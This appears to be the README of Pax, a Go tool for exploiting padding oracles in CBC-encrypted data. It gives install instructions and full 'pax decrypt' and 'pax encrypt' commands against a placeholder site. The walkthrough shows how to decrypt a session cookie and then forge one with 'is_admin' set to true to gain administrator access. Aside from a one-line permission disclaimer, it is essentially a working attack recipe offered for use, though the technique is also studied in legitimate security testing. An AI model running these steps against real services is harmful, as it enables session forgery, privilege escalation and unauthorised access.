Exploit padding oracles for fun and profit!
Pax (PAdding oracle eXploiter) is a tool for exploiting padding oracles in order to:
- Obtain plaintext for a given piece of CBC encrypted data.
- Obtain encrypted bytes for a given piece of plaintext, using the unknown encryption algorithm used by the oracle.
This can be used to disclose encrypted session information, and often to bypass authentication, elevate privileges and to execute code remotely by encrypting custom plaintext and writing it back to the server.
As always, this tool should only be used on systems you own and/or have permission to probe!
Download from releases, or install with Go:
go get -u github.com/liamg/pax/cmd/paxIf you find a suspected oracle, where the encrypted data is stored inside a cookie named SESS, you can use the following:
pax decrypt --url https://target.site/profile.php --sample Gw3kg8e3ej4ai9wffn%2Fd0uRqKzyaPfM2UFq%2F8dWmoW4wnyKZhx07Bg%3D%3D --block-size 16 --cookies "SESS=Gw3kg8e3ej4ai9wffn%2Fd0uRqKzyaPfM2UFq%2F8dWmoW4wnyKZhx07Bg%3D%3D"This will hopefully give you some plaintext, perhaps something like:
{"user_id": 456, "is_admin": false}It looks like you could elevate your privileges here!
You can attempt to do so by first generating your own encrypted data that the oracle will decrypt back to some sneaky plaintext:
pax encrypt --url https://target.site/profile.php --sample Gw3kg8e3ej4ai9wffn%2Fd0uRqKzyaPfM2UFq%2F8dWmoW4wnyKZhx07Bg%3D%3D --block-size 16 --cookies "SESS=Gw3kg8e3ej4ai9wffn%2Fd0uRqKzyaPfM2UFq%2F8dWmoW4wnyKZhx07Bg%3D%3D" --plain-text '{"user_id": 456, "is_admin": true}'This will spit out another base64 encoded set of encrypted data, perhaps something like:
dGhpcyBpcyBqdXN0IGFuIGV4YW1wbGU=
Now you can open your browser and set the value of the SESS cookie to the above value. Loading the original oracle page, you should now see you are elevated to admin level.
The following are great guides on how this attack works: